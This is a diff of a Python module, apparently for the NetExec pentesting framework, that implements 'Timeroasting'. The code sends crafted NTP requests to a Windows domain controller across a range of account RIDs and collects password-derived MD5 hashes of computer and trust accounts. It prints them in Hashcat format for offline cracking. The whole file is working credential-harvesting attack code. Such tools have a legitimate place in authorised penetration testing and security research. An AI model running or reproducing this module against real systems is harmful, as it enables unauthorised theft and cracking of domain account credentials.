1+ from binascii import hexlify , unhexlify
2+ from select import select
3+ from time import time
4+ from socket import socket , AF_INET , SOCK_DGRAM
5+ from struct import pack , unpack
6+
7+
8+
9+ def hashcat_format (rid , hashval , salt ):
10+ """Encodes hash in Hashcat-compatible format (with username prefix)."""
11+ return f"{ rid } :$sntp-ms${ hexlify (hashval ).decode ()} ${ hexlify (salt ).decode ()} "
12+
13+ class NXCModule :
14+ """
15+ Module by Disgame: @Disgame
16+ Based on research from SecuraBV (@SecuraBV)
17+
18+ https://github.com/SecuraBV/Timeroast/
19+
20+ Much of this code was copied from the original implementation.
21+ """
22+
23+ name = "timeroast"
24+ description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
25+ supported_protocols = ["smb" ]
26+ opsec_safe = True
27+ multiple_hosts = False
28+
29+ def __init__ (self ):
30+ self .context = None
31+ self .module_options = None
32+
33+ # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
34+ self .ntp_prefix = unhexlify ("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a" )
35+
36+
37+ def options (self , context , module_options ):
38+ self .rids = range (1 , 2 ** 31 )
39+ self .rate = 180
40+ self .timeout = 24
41+ self .src_port = 0
42+ self .old_hashes = False
43+ self .target = None
44+
45+ if "rids" in module_options :
46+ self .rids = module_options ["rids" ]
47+ if "rate" in module_options :
48+ self .rate = module_options ["rate" ]
49+ if "timeout" in module_options :
50+ self .timeout = module_options ["timeout" ]
51+ if "src_port" in module_options :
52+ self .src_port = module_options ["src_port" ]
53+ if "old_hashes" in module_options :
54+ self .old_hashes = module_options ["old_hashes" ]
55+
56+ def on_login (self , context , connection ):
57+ if self .target is None :
58+ self .target = connection .host
59+
60+ context .log .display ("Starting Timeroasting..." )
61+
62+ for rid , md5hash , salt in self .run_ntp_roast (context , self .target , self .rids , self .rate , self .timeout , self .old_hashes , self .src_port ):
63+ context .log .highlight (hashcat_format (rid , md5hash , salt ))
64+
65+ def run_ntp_roast (self , context , dc_host , rids , rate , giveup_time , old_pwd , src_port = 0 ):
66+ """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
67+ Rate is the number of queries per second to send.
68+ Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
69+ not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
70+ issues.
71+
72+ Yields (rid, hash, salt) pairs, where salt is the NTP response data.
73+ """
74+ # Flag in key identifier that indicates whether the old or new password should be used.
75+ keyflag = 2 ** 31 if old_pwd else 0
76+
77+ # Bind UDP socket.
78+ with socket (AF_INET , SOCK_DGRAM ) as sock :
79+ try :
80+ sock .bind (("0.0.0.0" , src_port ))
81+ except PermissionError :
82+ context .log .exception (f"No permission to listen on port { src_port } . May need to run as root." )
83+
84+
85+ query_interval = 1 / rate
86+ last_ok_time = time ()
87+ rids_received = set ()
88+ rid_iterator = iter (rids )
89+
90+ while time () < last_ok_time + giveup_time :
91+ # Send out query for the next RID, if any.
92+ query_rid = next (rid_iterator , None )
93+ if query_rid is not None :
94+ query = self .ntp_prefix + pack ("<I" , query_rid ^ keyflag ) + b"\x00 " * 16
95+ sock .sendto (query , (dc_host , 123 ))
96+
97+ # Wait for either a response or time to send the next query.
98+ ready , [], [] = select ([sock ], [], [], query_interval )
99+ if ready :
100+ reply = sock .recvfrom (120 )[0 ]
101+
102+ # Extract RID, hash and "salt" if succesful.
103+ if len (reply ) == 68 :
104+ salt = reply [:48 ]
105+ answer_rid = unpack ("<I" , reply [- 20 :- 16 ])[0 ] ^ keyflag
106+ md5hash = reply [- 16 :]
107+
108+ # Filter out duplicates.
109+ if answer_rid not in rids_received :
110+ rids_received .add (answer_rid )
111+ yield answer_rid , md5hash , salt
112+ last_ok_time = time ()
0 commit comments